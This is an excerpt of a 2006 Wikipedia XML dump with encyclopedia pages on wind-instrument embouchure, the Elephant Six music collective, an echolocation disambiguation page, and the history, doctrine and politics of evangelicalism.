  <page>
    <title>Embouchure</title>
    <id>10365</id>
    <revision>
      <id>41206505</id>
      <timestamp>2006-02-25T20:00:50Z</timestamp>
      <contributor>
        <ip>80.219.2.188</ip>
      </contributor>
      <comment>Added link to German</comment>
      <text xml:space="preserve">The '''embouchure''' is the shaping of the lips to the [[mouthpiece]] of a [[wind instrument]]. Less frequently, it is used to mean the mouthpiece itself.
The word is of French origin and is related to the root ''bouche'' (fr.), 'mouth'.
[French, from emboucher, to put or go into the mouth, from Old French : en-, in; + bouche, mouth (from Latin bucca, cheek).]

The proper embouchure allows the instrumentalist to play the instrument at its full range with a full, clear tone and without strain or damage to one's muscles.

== Brass embouchure ==

While performing on a brass instrument, the sound is produced by the player buzzing his or her lips into a mouthpiece.  Pitches are changed in part through altering the amount of muscular contraction in the lip formation.  The performer's use of the air as well as tongue manipulation can affect how the embouchure works.

Even today, many brass pedagogues take a rigid approach to teaching how a brass player's embouchure should function.  Many of these authors also disagree with each other regarding which technique is considered correct.  Research done as early as the 1940s as well as more current research suggests efficient brass embouchures are dependent upon the performer using the method that suits the player's particular anatomy.  Individual differences in teeth structure, lip shape and size, jaw shape and the degree of jaw malocclusion, and other anatomical factors will affect whether a particular embouchure technique will be effective or not for a particular performer.  

[[Philip Farkas]], a noted French horn performer and brass pedagogue, hypothesized in his [[1962]] publication, ''The Art of Brass Playing'', that the air stream traveling through the lip aperture should be directed straight down the shank of the mouthpiece.  Farkas believed that it would be illogical to &quot;violently deflect&quot; the air stream downward at the point of where the air moves past the lips (Farkas, 1962).  In this text, Farkas also recommends that the lower jaw be protruded so that the upper and lower teeth are aligned.

In [[1970]] Farkas published a second text on brass embouchures, ''A Photographic Study of 40 Virtuoso Horn Players''.  This publication contradicted his earlier writing.  Out of 40 subjects, Farkas showed that 39 subjects directed the air downward to varying degrees and 1 subject directed the air in an upward direction at various degrees.  The lower jaw position seen in these photographs show more variation from Farkas' earlier text as well.

This supports what was written by trombonist and brass pedagogue, Donald S. Reinhardt in [[1942]] with his publications, ''Pivot System For Trumpet'' and ''Pivot System for Trombone''.  In his [[1972]] publication, ''The Encyclopedia of the Pivot System'', Reinhardt described and labeled different embouchure patterns according the characteristics including mouthpiece placement and the general direction of the air stream as it travels past the lips.  According to this later text, players who place the mouthpiece higher on the lips, so that more upper lip is inside the mouthpiece, will direct the air downwards to varying degrees while playing.  Performers who place the mouthpiece lower, so that more lower lip is inside the mouthpiece, will direct the air to varying degrees in an upward manner.  In order for the performer to be successful, the air stream direction and mouthpiece placement need to be personalized based on individual anatomical differences. Lloyd Leno confirmed the existence of both upstream and downstream embouchures in his [[1987]] article for the ''International Trombone Association Journal'' entitled &quot;A Study of Lip Vibrations with High-Speed Photography&quot;.  

More controversial was Reinhardt's description and recommendations regarding a phenomenon he termed a &quot;pivot.&quot;  According to Reinhardt, a successful brass embouchure is dependent upon a motion upon where the performer moves both the mouthpiece and lips as a single unit along the teeth in an upward and downward direction.  As the performer ascends, he or she will either move the lips and mouthpiece together slightly up towards the nose or pull them down together slightly towards the chin, and use the opposite motion to descend.  Whether the player uses one general pivot direction or the other, and the degree to which the motion is performed, depends on the performer's anatomical features and stage of development.  The placement of the mouthpiece upon the lips doesn't change, but rather the relationship of the rim and lips to the teeth.  While the angle of the instrument may change as this motion follows the shape of the teeth and placement of the jaw, contrary to what many brass performers and teachers believe, the angle of the instrument does not actually constitute the motion Reinhardt advised as a pivot.

Later research supports Reinhardt's claim that this motion exists and might be advisable for brass performers to adopt.  John Froelich's article for the ''International Trombone Association Journal'', &quot;The Mouthpiece Forces Used During Trombone Performances&quot; ([[1990]]), describes how mouthpiece pressure towards the lips (vertical forces) and sheer pressure (horizontal forces) functioned in three test groups, student trombonists, professional trombonists, and professional symphonic trombonists.  Froelich noted that the symphonic trombonists used the least amount of both direct and sheer forces and recommends this model be followed.  Other recent research notes that virtually all brass performers rely upon the upward and downward embouchure motion, including ''The Correlation Between Doug Elliott's Embouchure Types and Playing and Selected Physical Characteristics Among Trombonists'' (David Wilken, doctoral dissertation, [[Ball State University]], [[2000]]) and ''An Analysis, Clarification, and Revaluation of Donald Reinhardt's Pivot System for Brass Instruments'' (David Ray Turnbull, doctoral thesis, [[Arizona State University]], [[2001]]).  Other authors and pedagogues remain skeptical about the necessity of this motion, but scientific evidence supporting this view has not been sufficiently developed at this time to support this view.

Many noted brass pedagogues prefer to instruct the use of the embouchure from a less analytical point of view.  Arnold Jacobs, a tubist and well-regarded brass teacher, believed that it was best for the student to focus on his or her use of the air and musical expression to allow the embouchure to develop naturally on its own (Brian Frederiksen, ''Arnold Jacobs: Song and Wind'', [[1996]]).  Other instructors, such as Carmine Caruso, believed that the brass player's embouchure could best be developed through strength building exercises that focus the student's attention on his or her time perception (Carmine Caruso, ''Musical Calisthenics for Brass'', 1979).  Still other authors who have differing approaches to embouchure development include Louis Maggio (see C. MacBeth, ''Original Louis Maggio System for Brass''), Jeff Smiley (''The Balanced Embouchure''), and Jerome Callet (''Superchops'', ''Trumpet Secrets'').

===The tongue-controlled embouchure===

This embouchure method, advocated by a minority of brass pedagogues such as Jerome Callet, has not yet been sufficiently researched to support the claims that this system is the most effective approach for all brass performers.  It cannot be questioned, however, that some players who utilize this approach are successful performers, indicating that more research is needed in this area. One of those is Robert (Bahb) Civiletti, who plays and teaches the TCE method.

Advocates of Callet's approach believe that this method was recommended and taught by the great brass instructors of the early 20th Century.  Two French [[trumpet]] technique books, authored by [[Jean-Baptiste Arban]], and St. Jacome, were translated into English for use by American players.  According to some, due to a misunderstanding arising from differences in pronunciation between French and English, the commonly used brass embouchure in Europe was interpreted incorrectly.  Callet attributes this difference in embouchure technique as the reason the great players of the past were able to play at the level of technical virtuosity which they did, although the increased difficulty of contemporary compositions for brass seem to indicate that the level of brass technique by today's performers equal or even exceed that of most performers from the late 19th and early 20th centuries.

Callet's method of brass embouchure consists of the tongue remaining forward and through the teeth at all times. The corners of the mouth always remain relaxed, and only a small amount of air is used. The top and bottom lips curl inward and grip the forward tongue. The tongue will force the teeth, and subsequently the throat, wide open, supposedly resulting in a bigger, more open sound. The forward tongue resists the pressure of the mouthpiece, controls the flow of air for lower and higher notes, and protects the lips and teeth from damage or injury from mouthpiece pressure. Because of the importance of the tongue in this method many refer to this as a &quot;tongue-controlled embouchure.&quot;  This technique facilitates the use of a smaller mouthpiece, and larger bore instruments.   It results in improved intonation and stronger harmonically related partials across the player's range. These characteristics can be heard as a focused (as opposed to spread or distorted) tone. The improvement in sound quality resulting from using this method is more apparent in the upper register, especially when comparing proficient players. Performers who have successfully adopted this approach often exhibit a very strong upper register. Although it is completely different from widely used methods, the &quot;tongue-controlled embouchure&quot; is perhaps the most promising.

Some authors, such as Donald Reinhardt, recommend that players who can successfully adopt a tongue position that maintains contact on the lower lip while playing must possess shorter than average lower teeth and lower lips that are thicker than normal.  Callet's advocates, however, are quick to point out that fundamental differences in recommendations about how the mouth corners and tongue manipulation are used make Reinhardt's suggestions too different to effectively compare the two approaches.

It would seem that no one method is understood enough to be proven the &quot;correct&quot; method of forming and developing a brass embouchure. Students are rarely given specific instructions with regards to this aspect of brass playing. As a result of this, the development of any particular student's embouchure is dependent on a wide range of physiological and psychological factors that are not easily understood or predicted. This dependence may be manifested as the variation in sound quality and range that is greater among brass players than any other wind instrument.

Evidence of the use and capabilities of the toungue-controlled embouchure may be found in the audio and video recordings of such trumpet players such as [[Raphael Mendez]], [[Harry James]], [[Al Hirt]], [[Louis Armstrong]], [[Miles Davis]] (who describes it in his autobiography as feeling like &quot;spitting a piece of rice off of the top of the toungue&quot;), and [[Clifford Brown]].

==Woodwind embouchure==
=== Flute embouchure ===

A variety of [[flute|transverse flute]] embouchures are employed by professional flutists, though the most natural form is perfectly symmetrical, the corners of the mouth relaxed, the lower lip placed along and at a short distance from the embouchure hole.  The end-blown [[shakuhachi]] and [[hocchiku]] flutes demand especially difficult embouchures, sometimes requiring many lessons before any sound can be produced.

=== Reed instrument embouchure ===

With the woodwinds, aside from the [[flute]], [[piccolo]], and [[recorder]], the sound is generated by a [[reed (music)|reed]] and not with the lips. The embouchure is therefore based on sealing the area around the reed and the mouthpiece. This serves to prevent air from escaping while simultaneously supporting the reed allowing it to vibrate, and to constrict the reed preventing it from vibrating too much. With woodwinds, it is important to ensure that the mouthpiece is not placed too far into the mouth, which would result in too much vibration (no control), often creating a sound an octave (or harmonic twelfth for the clarinet) above the intended note. If the mouthpiece is not placed far enough into the mouth, no noise will be generated, as the reed will not vibrate.

The embouchure for single reed woodwinds like the [[clarinet]] and [[saxophone]] is formed by resting the reed upon the bottom lip, which is placed on top of the bottom [[teeth]]. The top teeth are then used to bite down on the mouthpiece, and the top lips are wrapped around them in order to create a seal. With the less common double-lip embouchure, the top lip is placed under (around) the top teeth. In both instances, the position of the tongue in the mouth plays a vital role in focusing and accelerating the air stream blown by the player.  This results in a more mature and full sound, rich in [[overtone]]s.

The [[double reed]] woodwinds, the [[oboe]] and [[bassoon]], have no mouthpiece. Instead the reed is two pieces of [[cane]] extending from a metal tube (oboe - staple) or placed on a [[bocal]] (bassoon, [[english horn]]). The reed is placed directly on the lips and the played not unlike the double-lip embouchure described above. Compared to the single reed woodwinds, the reed is very small and subtle changes in the embouchure can have a dramatic effect on [[tuning]], [[tone]] and control.

==See also==
*[[Double buzz]] relating to the brass players embouchure

== External links ==

* [http://www.larrykrantz.com/embpic.htm Flute Embouchure Photos]&lt;br&gt;
* [http://www.super-chops.com/ Jerome Callet's Superchops Embouchure Clinic]&lt;br&gt;
* [http://www.tce-studio.com/ Bahb Civiletti's TCE page]&lt;br&gt;
[[nl:embouchure]]
[[de:Ansatz (Blasinstrument)]]
[[ru:Амбушюр]]

[[Category:Musical instruments]]</text>
    </revision>
  </page>
  <page>
    <title>The Elephant Six Collective</title>
    <id>10368</id>
    <revision>
      <id>40363363</id>
      <timestamp>2006-02-20T01:50:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''The Elephant Six Collective''' were a group of American musicians who spawned some of the most notable independent bands of the [[1990s]], including the [[Olivia Tremor Control]], [[Neutral Milk Hotel]], [[The Apples in Stereo]] and [[Of Montreal]].

==History==
The collective was officially founded in [[Denver, Colorado]] (but figuratively in [[Athens, Georgia]]) by childhood friends [[Bill Doss]], [[Will Cullen Hart]], [[Jeff Mangum]], and [[Robert Schneider]]. The four grew up making [[music]] and sharing cassette tapes in [[Ruston, Louisiana]]. They all started their own bands and pet projects; Doss and Hart with Olivia Tremor Control (then called [[Synthetic Flying Machine]]), Mangum with Neutral Milk Hotel, and Schneider with the Apples in Stereo. Several Elephant Six projects began to find commercial success in the late [[1990s]], including [[Beulah (band)|Beulah]], [[Elf Power]], [[The Music Tapes]], and [[Of Montreal]], as well as the founding bands mentioned above.

Schneider was the one who actually created the [[record label]] when he moved to [[Denver, Colorado]] in late [[1991]] and attended [[University of Colorado at Boulder]]. He made friends and started up the Apples in Stereo. Their first EP was finished recording by April [[1993]], and it became the first release by the recording company.

Back home, Doss had moved to [[Athens, Georgia|Athens]], and joined Hart and Mangum in [[Synthetic Flying Machine]]. The band became [[Olivia Tremor Control]], and they released ''[[California Demise]]'' as their first recording, and E6's second.

From there on in, most of the bands were signed to major record labels and the recording company as an entity slowly deteoriated until the collective called it quits, due to difficulties in recording and lack of organization, in [[2002 in music|2002]]. The bands of the collective have since all moved on to various labels and projects of their own, though many are still friends and even tour together under various guises. Many even live together on the [[Orange Twin Conservation Community]] in [[Athens, Georgia|Athens]]. The Elephant Six mantra became a symbol for the circle of friends sharing like ideas and goals.

==Distinguishing characteristics==
The most characteristic trait of an Elephant Six recording is the eclectic and exotic instrumentation: along with the guitars and drums you can hear, for example, the [[flugelhorn]], [[singing saw]], [[wandering genie]], and one-note [[piano]] on Neutral Milk Hotel's ''[[In the Aeroplane over the Sea]]''; the [[euphonium]], [[selemintan]], and [[magnus organ]] on Olivia Tremor Control's ''[[Black Foliage]]''; the [[sitar]], &quot;magic [[robot]] voice&quot;, and [[Nepalese copper shawm]] on Elf Power's ''[[When the Red King Comes]]''; and everything from [[sarangi]] to [[clarinet]] played by eighteen backup [[musician]]s on Beulah's ''[[When Your Heartstrings Break]]''. This was the ostensible nature of the Elephant Six collective: instruments, players, and space are divided among and shared among many projects.

==See also== 
*[[Indie rock]]
*[[Psych folk]]

==External links==
*[http://www.elephant6.com/ Elephant6.com] &amp;ndash; An unofficial site about the collective. 

{{E6}}

[[Category:American musical groups|Elephant Six Collective, The]]
[[Category:Psych folk record labels|Elephant Six Collective, The]]

[[no:Elephant Six]]</text>
    </revision>
  </page>
  <page>
    <title>Echolocation</title>
    <id>10369</id>
    <revision>
      <id>35529651</id>
      <timestamp>2006-01-17T11:45:52Z</timestamp>
      <contributor>
        <username>Cavie78</username>
        <id>525418</id>
      </contributor>
      <text xml:space="preserve">See:

* [[Animal echolocation]]: animals emitting [[sound]] waves and listening to the echo in order to locate objects or navigate.
* [[Human echolocation]]: the use by [[blindness|blind]] people of sound to navigate.
* [[Sonar]]: ('''so'''und '''n'''avigation '''a'''nd '''r'''anging) the use of sound to [[navigation|navigate]] or to locate other watercraft, usually by [[submarine]]s.
* [[Echo sounding]]: listening to the echo of sound pulses to measure the distance to the bottom of the sea, a special case of Sonar.
* [[Medical ultrasonography]]: the use of [[ultrasound]] echos to look inside the body

See also:
* [[Radar]]: locating objects by detecting the echo of emitted radio waves
* [[Echolocation (album)]], an album by [[Fruit Bats]]

{{disambig}}

[[de:Echoortung]]
[[es:Ecolocalización]]
[[fr:Écholocation]]
[[nl:Echolocatie]]
[[pl:Echolokacja]]</text>
    </revision>
  </page>
  <page>
    <title>Evangelicalism</title>
    <id>10370</id>
    <revision>
      <id>42059981</id>
      <timestamp>2006-03-03T15:01:31Z</timestamp>
      <contributor>
        <ip>134.226.1.194</ip>
      </contributor>
      <text xml:space="preserve">{{Christianity}}
The word '''evangelicalism''' usually refers to a tendency in diverse branches of [[Protestantism]], typified by an emphasis on [[evangelism]], a personal experience of conversion, [[Bible|biblically-oriented]] faith, and a belief in the relevance of Christian faith to cultural issues. In the late [[20th century]] and early [[21st century]], Protestant people, churches and social movements were often called ''evangelical'' in contrast to [[Liberal Christianity|Protestant liberalism]].

The term 'evangelical', in a lexical but less-commonly-used sense, refers to anything implied in the belief that [[Jesus]] is the savior. The word comes from the [[Greek language|Greek]] word for '[[Gospel]]' or 'good news': ''&amp;epsilon;&amp;upsilon;&amp;alpha;&amp;nu;&amp;gamma;&amp;epsilon;&amp;lambda;&amp;iota;&amp;omicron;&amp;nu; evangelion'', from ''eu-'' &quot;good&quot; and ''angel'' &quot;message&quot;. To be ''evangelical'' would then mean to be merely [[Christianity|Christian]], that is, founded upon, motivated by, acting in agreement with, spreading ''the good news'' message of the New Testament. 

In Western cultural usage, the word ''' ''Evangelical'' ''' has usually referred to [[Protestantism]], in intended contrast to [[Roman Catholic Church|Roman Catholicism]]. At different times, the name has developed nuances according to the controversies of the age:
* In Europe since the [[Protestant Reformation]] of the [[16th century]], [[Lutheranism|Lutheran]] churches have been called ''Evangelical'' churches, in contradistinction to the [[Reformed]] churches of [[Huldrych Zwingli]], [[John Calvin]], and their associates. 
* In the [[17th century]] and onward, the [[Puritanism|Puritan]] party in the [[Church of England]] who sought to identify that church with the Reformed movement of the Reformation, who later withdrew from that Communion and became known by the derogatory names of &quot;Non-Conformists&quot; and &quot;Dissenters&quot;, were also called the ''evangelical'' party. 
*In the [[18th century]], the [[Wesleyan revival]] within the Church of England influenced the formation of a party of pietistic Anglicans, whose descendant movement is still called the &quot;Evangelical party&quot;.
*In North American experience, particularly the [[United States of America]], in the &quot;[[Great Awakening]]s&quot;, the term distinguished the supporters of revivalism. As compared to those who emphasized conversion as a prolonged process, and a result of Christian nurture, evangelicals looked for a single experience to mark the starting point of the Christian life.

The earliest meanings continue to be current, depending on the context. In the name ''[[Evangelical Orthodox Church]]'', for example, the word in the title of this [[Old Catholic]] group simply means &quot;Christian&quot;. The ''[[Union of Evangelical Churches]]'' is Germany's national Protestant church, formed by the state-mandated union of Lutheran and Reformed churches. Similarly several churches have ''Evangelical'' in their title, meaning evangelical in the sense of &quot;Protestant&quot;, but not necessarily part of the modern evangelical movement ''per se''. For most of Protestant history the term 'evangelical' for a self-description has been used by both [[Modernist Christianity|modernists]] and [[Fundamentalist Christianity|fundamentalists]]. However, in common contemporary parlance, the name has been all but relinquished to the &quot;moderates&quot;, rather than liberals or fundamentalists.

==Roots==
The contemporary evangelical movement has its origins in the 18th century. In that period, the [[First Great Awakening]] was deeply influencing American religious life, while at the same time [[John Wesley]] and the [[Methodist movement]] were renewing British Christianity. Much of this religious fervor was a reaction to [[Age of Enlightenment|Enlightenment]] thinking and the [[Deism|deistic]] writings of many of the western philosophical elites.

The chief emphases of the fledgling Methodist movement as well as the Awakening were individual conversion, personal piety and Bible study, [[public morality]] often including [[Temperance]] and [[family values]], and [[Abolitionism]], a broadened role for [[laity|lay people]] and women in worship, evangelism and teaching, and cooperation in evangelism across denominational lines (that is, [[interdenominational]]ly).

In its early years, what was to become known as evangelicalism was largely a hybrid of the [[Calvinism|Reformed]] emphasis on doctrinal orthodoxy, and the [[Pietism|pietist]] emphasis on the heart and a &quot;personal relationship&quot; with God. The movement saw a variety of liturgical styles and ministry approaches, though strong preaching, personal conversion (similar to Wesley's [[Aldersgate]] experience), and evangelism were common features.

Other key figures include: [[Jonathan Edwards (theologian)|Jonathan Edwards]], American Puritan preacher/theologian; [[George Whitefield]], British Methodist preacher; [[Robert Raikes]], who established the first [[Sunday School]] to prevent children in the slums entering a life of crime; [[Charles Wesley]], popular hymn writer; and [[Francis Asbury]], American Methodist bishop.

==Doctrine==
{{Christian theology}}
The Bible is accepted as reliable and the ultimate authority in matters of faith and practice. The [[Protestant Reformation]] [[doctrine]]s of [[sola scriptura]] and [[sola fide]] are primary. The historicity of the [[miracles]] of Jesus and the [[Virgin Birth (Christian doctrine)|virgin birth]], [[crucifixion]], [[Resurrection of Jesus|resurrection]], and [[Second Coming]] are asserted, although there are a variety of understandings of the [[end times]] and [[eschatology]]. 

Commentators and historians describe four characteristics of evangelicals:
#Emphasis on the [[conversion]] experience, also called being ''saved'', or ''[[New Birth|new birth]]'' or ''[[born again]]'' after John 3:3. Thus evangelicals often refer to themselves as ''born-again Christians.'' This experience is said to received by &quot;faith alone&quot; and to be given by God as the result of &quot;grace alone.&quot;
#The [[Protestant]] [[Biblical Canon|canon]] of the [[Bible]] as the primary, or only, source of religious authority, as God's revelation to humanity. [[Bible prophecy]], especially as interpreted according to [[dispensationalism]], is often emphasized. Thus, the doctrine of &quot;[[sola scriptura]]&quot; is often affirmed and emphasized. 
#Encouragement of evangelism (the act of sharing one's beliefs) -- in organized missionary work or by personal encounters and relationships with others.
#A central focus on Christ's redeeming work on the cross as the only means for salvation and the forgiveness of [[sin]]s.
These characteristics are similar to the ''Bebbington quadrilateral'' identified in his study of British evangelicalism.

John C. Green, director of the Ray C. Bliss Institute of Applied Politics at the [[University of Akron]] in [[Ohio]], found in the 2004 American Religious Landscape Report [http://pewforum.org/publications/surveys/green-full.pdf] that despite many variations, evangelicals in the United States generally adhere to four core beliefs:
#[[Biblical inerrancy]]
#Salvation comes only through faith in Jesus and not good works
#Individuals (above an age of accountability) must personally trust in Jesus Christ for salvation.
#All Christians are commissioned to evangelize

In regard to &quot;Biblical inerrancy&quot;, a notable summit on Bible inerrancy was held in Chicago in 1978. The [[Chicago Statement on Biblical Inerrancy]] was signed by nearly 300 noted evangelical scholars (see ''[[Biblical inerrancy|main article]]''). There is no absolute consensus among evangelicals regarding Biblical inerrancy, however there is a general acceptance of Biblical authority.

==Development==
===19th century===
Evangelical Christians were a diverse group; some were at the forefront of movements such as [[abolitionism|abolition]] of slavery, [[prison reform]], [[orphanage]] establishment, [[hospital]] building, and founding educational institutions. 

In [[1846]], eight hundred Christians from ten countries met in London and set up the ''[[Evangelical Alliance]]''. They saw this as &quot;a new thing in church history, a definite organization for the expression of unity amongst Christian individuals belonging to different churches.&quot; However, the Alliance floundered on the issue of slavery. Despite this difficulty it provided a strong impetus for the establishment of national and regional evangelical fellowships. 

Evangelicals, along with trade unionists, [[Chartists]], members of cooperatives, the self-help movement and the Church of England were involved in setting up the [[temperance movement]]s in the U.S.A., Ireland, Scotland and England.

[[William Booth]], a [[Methodism|Methodist]] [[Religious minister|minister]], founded the ''Christian Mission'' in [[London]], England on [[July 5]], [[1865]]. This became ''[[The Salvation Army]]'' in [[1878]] as it took on a quasi-[[military]] style.

===20th century===
Evangelicals today are at least as varied as ever. Some work entirely within their own denominations, others pay less heed to denominational differences and may be members of less formal and locally based, independent churches. Their focus may be on assisting their own members first and foremost, their inspiration being this emphasis of Paul in his New Testament letters. However, there remains the long-standing evangelical tradition of taking to needy areas practical assistance (e.g. medical, educational) along with the gospel, though eschewing attempts, at home or abroad, to influence society by means other than the gospel. 

Others, particularly in the USA, are engaged in attempts at social improvement through political means. Evangelical activism might be expressed in literacy training, inner-city relief and food banks, adoption agencies, marriage counselling and spousal abuse mediation, day-care centers for children, and counsel and care for unwed mothers, or any number of other help and advocacy works. The popular perception seems to locate all of evangelicalism on the 'right' of political controversies, such as [[abortion]], or the liberalizaton of the legal definitions of &quot;[[family]]&quot;, &quot;[[marriage]]&quot;, or &quot;[[civil union]]&quot; to include same-sex couples. This supposed uniformity is not actually the case; however there is some correspondence between theological and religious conservatism, and social conservatism, for obvious reasons.

The [[World Evangelical Alliance|World Evangelical Fellowship (now Alliance)]] (WEA) was formed in 1951 by believers from 21 countries. It has worked to support its members to work together globally.

Within the broad denominations (often called ''&quot;mainline denominations&quot;'') evangelical movements are organizing within various structures, which are often referred to as the [[Confessing Movement]]. The theological call for the mainline churches to return to their evangelical roots is known as [[Paleo-Orthodoxy]], especially within Methodism, where [[Thomas Oden]] is one of its best known spokesmen.

The movement represents a range of Protestant understandings of the Bible, liturgical forms, and church traditions - some of which are very non-traditional, and artistically conceived or innovative. On the average, evangelicals tend to be distrustful of reliance upon historical definitions of belief, if they are not qualified as being subordinate to the Bible; and yet, they may be inclined to refer to these documents of faith in defense of their understanding of the Bible. In controversies with those who favor a more highly structured liturgy, the evangelical party is usually the one in favor of a relatively more simple, casual and participatory form of worship, centered on preaching and the [[Lord's Supper]] ([[Eucharist]]), rather than more elaborate ceremony. 

Especially toward the end of the 20th century, the secular media tended to describe traditional Christian believers as [[fundamentalist Christians|fundamentalists]], including most evangelicals. However, in both movements, these terms ''fundamentalist'' and ''evangelical'' are not synonymous; the labels represent very distinct differences of approach which both groups are diligent to maintain.

====Fundamentalism====
{{main|Christian Fundamentalism}}

At the turn of the 20th century, in light of modern scholarship gaining the majority view, [[Modernist Christianity]] in the Protestant denominations was producing novel understandings and/or interpretations of the role of the Bible for a Christian, and the Bible's teachings. These trends were seen by their opponents as a threat to Christian faith and the welfare of society, as accommodations to [[the Enlightenment]] and an abandonment of the principles of the [[Protestant reformation]]. 

The [[Fundamentalist Christianity|Fundamentalist]] Movement was a [[conservative]] Protestant response in the USA to [[Liberal Christianity|liberal]] trends in their churches. It was a movement to preserve what they saw as being a minimum orthodoxy, a ''fundamental Christianity'', over against the liberals' abandonment of such basic features of a traditional understanding of the faith as, the inerrancy of the Bible, the virgin birth of Christ, the bodily resurrection of Jesus, the authenticity of his miracles, and the belief that his death on the cross takes away sins. This defense of fundamental Christian tradition was called ''Fundamentalism'', though in fact it was little more than orthodoxy as found in the official statements of faith of Protestant denominations.

Some Fundamentalists strongly advocated separation from those denominations and institutions in which modernism was dominant. Many of these identified the Fundamentalist cause with certain specific doctrines, approaches to culture, and styles of worship, preaching, or plans of church governance, which were not shared by their fellows - some of which, in fact, had only arisen in the previous century. Others strongly reacted against separatism and exclusiveness. They sought to distinguish their agenda to defend the fundamental orthodoxy familiar to their forebears, from the Fundamentalists who sought to establish a new orthodoxy. Some of the leaders of this broader party called themselves 'neo-evangelicals'.

====Renewed Evangelicalism: ''Neo-evangelicalism''====
{{main|Neo-evangelicalism}}

The '''Neo-Evangelical''' movement was a response among traditionally orthodox [[Protestantism|Protestants]] to [[Fundamentalist Christianity|fundamentalist Christianity's]] [[Separatism#Religious_separatism|separatism]], beginning in the 1920s and 1930s. 

Neo-evangelicals held the view that the modernist and liberal parties in the Protestant churches had surrendered their heritage as evangelicals by accommodating the views and values of the world. However they saw the Fundamentalists' separatism and rejection of the [[Social gospel]] as an over-reaction. They charged the modernists with having lost their identity as evangelicals, and attacked the Fundamentalists as having lost the Christ-like heart of evangelicalism. They argued that the Gospel needed to be reasserted to distinguish it from the innovations of the liberals and the Fundamentalists; thus they coined the term, 'Neo-' (new or renewed) 'evangelicalism'. 

They sought to engage the modern world and the liberals in a positive way, remaining separate from worldliness but not from the world &amp;mdash; a middle way, between modernism and the separating variety of Fundamentalism. They sought allies in denominational churches and liturgical traditions, among non-[[Dispensationalism|dispensationalists]], and trinitarian varieties of [[Pentecostalism]]. They believed that in doing so, they were simply re-acquainting Protestantism with its own recent tradition. The movement's aim at the outset was to reclaim the evangelical heritage in their respective churches, not to begin something new; and for this reason, following their separation from Fundamentalists, the same movement has been better known as merely, &quot;evangelicalism&quot;. By the end of the 20th century, this was the most influential development in American Protestant Christianity.

The term ''neo-evangelicalism'' no longer has any reliable meaning except for historical purposes. It is still self-descriptive of the movement to which it used to apply, to distinguish the parties in the developing fundamentalist split prior to the 1950s. The term is now used almost exclusively by conservative critics to distinguish their idea of evangelicalism from this movement. Some liberal writers, speaking critically, might refer to ''neo-evangelicalism'', or ''neo-fundamentalism'', with comparably variable meanings.

==== Evangelical politics in the United States ====
{{main articles|[[Christian right]] and [[Evangelical left]]}}

Evangelicalism in the United States was prominently active in political movements which are now popularly considered to be important social advancements, such as Women's Rights and Suffrage, and [[Abolitionism]]. Evangelical influence was also evident in past movements which are now unpopular, such as [[prohibition]] and [[anti-immigration]]. But [[Roe v Wade]], the [[United States Supreme Court|Supreme Court]] decision rendered in [[1973]] preventing states from making laws that prohibit [[abortion]], is the most prominent landmark of a new era of conservative evangelical political action, unprecedented in its intensity and coordination.

In the U.S. the [[Religious Right]] is influential especially in the [[Republican Party (United States)|Republican Party]], and is often popularly perceived to be the political wing of the conservative Evangelical movement. The [[Bush Administration]] is guided by the President's values which often reflect core evangelical beliefs. The current president of the U.S., George W. Bush, is identified by the media as a born again Christian. Consequently, criticism of controversial conservative political stances frequently falls on the evangelical movement as a whole, in the USA at least. 

The mass-appeal of the Christian right in the so-called [[red states]], and its success in rallying resistance to certain social agendas, is sometimes characterized by an otherwise unwilling, and secular, society as an attempt to impose [[theocracy]] on the country. While most who consider themselves evangelical oppose theocracy, there are indications that the belief is widespread among conservative evangelicals in the USA that Christianity should enjoy a privileged place in American public life according its importance in American life and history. Accordingly, those evangelicals often strenuously oppose the expression of other faiths in schools or in the course of civic functions. For example, when Venkatachalapathi Samuldrala became the first Hindu priest to offer an invocation before Congress in 2000, the September 21 edition of the online publication operated by the [[Family Research Council]], &quot;Culture Facts&quot;, raised objection:

:While it is true that the United States of America was founded on the sacred principle of religious freedom for all, that liberty was never intended to exalt other religions to the level that Christianity holds in our country's heritage. The USA's founders expected that Christianity--and no other religion--would receive support from the government as long as that support did not violate peoples' consciences and their right to worship. They would have found utterly incredible the idea that all religions, including paganism, be treated with equal deference.

===Parachurch organizations===
{{Main|Parachurch organizations}}

Parachurch organizations are a vehicle by which evangelical [[Christianity|Christians]] work collaboratively both outside their and across their [[Christian denominations|denominations]] to engage with the world in [[mission (Christian)|mission]], [[social welfare]] and evangelism. 

Through many decentralized organizations, parachurch organizations function to bridge the gap between the church and culture. These are organizations &quot;alongside&quot; (Grk: para-) church structures, and often seek to be less [[institution]]al, however over time, with growth and success, and in response to environmental pressures they can become more institutional. 

====Roles and organizations====
{{main articles|[[List of parachurch organisations]] and [[:Category:Evangelical parachurch organisations]]}}

Roles undertaken by parachurch organizations include: 
*evangelistic crusade associations (patterned after the [[Billy Graham]] Association)
*evangelistic and [[disciple]]ship ministries (such as The Navigators, [[Campus Crusade for Christ]])
*music and print [[publisher]]s, radio and television stations, film studios, online ministries 
*study centers and institutes, [[school]]s, [[college]]s and [[university|universities]]
*political and social [[activist]] groups
*[[social welfare|welfare]] and social services, including, [[homeless shelters]], [[child care]], and [[domestic violence]], [[disaster relief]] programs, and food pantries and clothing closets, and emergency aid centers
*[[self-help]] groups 
*[[Bible]] study groups
*[[house church]]es

==Globally==
Globally, evangelicalism and [[Pentecostalism]] are among the most influential and fastest growing Christian movements. Growth in [[Africa]] and [[Latin America]] is especially rapid, and because it is not dependent on European and North American evangelical sources allowing greater diversity. An example of this can be seen in the [[List of Christian denominations#African Independent Churches|African Independent Churches]]. 

===World Evangelical Alliance===
The '''World Evangelical Alliance''' is now

:a network of churches in 121 nations that have each formed an evangelical alliance and over 100 international organizations joining together to give a worldwide identity, voice and platform to more than 335 million Christians[http://www.worldevangelical.org/wefinfo.html].

===United States===
[[George Barna|Barna Research Group]] [http://www.barna.org/FlexPage.aspx?Page=Topic&amp;TopicID=17] surveyed Christians in the United States in 2004 and asked nine questions to determine whether the respondent was an evangelical Christian. Seven of the questions asked were:
#Are you a born again Christian?
#Is your faith very important in your life today?
#Do you believe you have a personal responsibility to share your religious beliefs about Christ with non-Christians?
#Do you believe that Satan exists?
#Do you believe that eternal salvation is possible only through grace, not works?
#Do you believe that Jesus Christ lived a sinless life on earth?
#Do you believe that God is the all-knowing, all-powerful, perfect deity who created the universe and still rules it today?

The survey methodology was not given on this website. The questions asked by the group do not necessarily represent all the characteristics of evangelical Christians. This survey found evangelicals to be a subset of the [[Born again]]s.

